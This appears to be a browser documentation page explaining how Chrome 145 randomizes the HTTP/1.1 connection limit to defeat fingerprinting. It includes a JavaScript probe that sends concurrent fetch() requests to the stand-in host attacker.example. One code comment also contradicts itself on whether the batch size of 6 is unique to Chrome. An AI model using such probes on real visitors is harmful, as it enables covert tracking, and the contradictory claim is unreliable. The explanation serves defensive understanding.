v145 · Web APIs · Security Context

Security Context

How the fixed TCP connection limit enabled passive fingerprinting, the range of Chrome 145's randomized limit, and the performance implications of varying the pool size.

This change affects HTTP/1.1 connection handling. HTTP/2 and HTTP/3 multiplex all requests over a single connection per origin, so the pool limit has no practical effect on modern sites.

fingerprinting technique

// The attack: probe concurrent connection count to identify the browser
// An adversary controls a server and runs this in the victim's browser:

const N = 20;
const delays = [];
const t0 = performance.now();

await Promise.all(Array.from({ length: N }, (_, i) =>
  fetch(`https://attacker.example/probe/${i}?t=${t0}`, { cache: 'no-store' })
));

// By measuring when each request completes at the server,
// the attacker can see that requests queue in batches of exactly 6.
// This batch size was unique to Chrome (Firefox: 6, Safari: 6 — same!)
// Combined with other signals, it becomes a reliable fingerprint.

// Chrome 145 mitigation: batch size varies (e.g., 5–8) per session,
// making the probe unreliable as a Chrome-specific signal.

performance impact analysis

Protocol Impact of pool limit change Recommendation
HTTP/1.1 Slight variation in request batching. Most pages unaffected — typical page loads queue far fewer than 6 same-origin requests. Upgrade to HTTP/2 or HTTP/3 to eliminate the constraint entirely.
HTTP/2 No impact — single connection multiplexes all requests. No action needed.
HTTP/3 (QUIC) No impact — QUIC multiplexes streams without head-of-line blocking. No action needed.

see also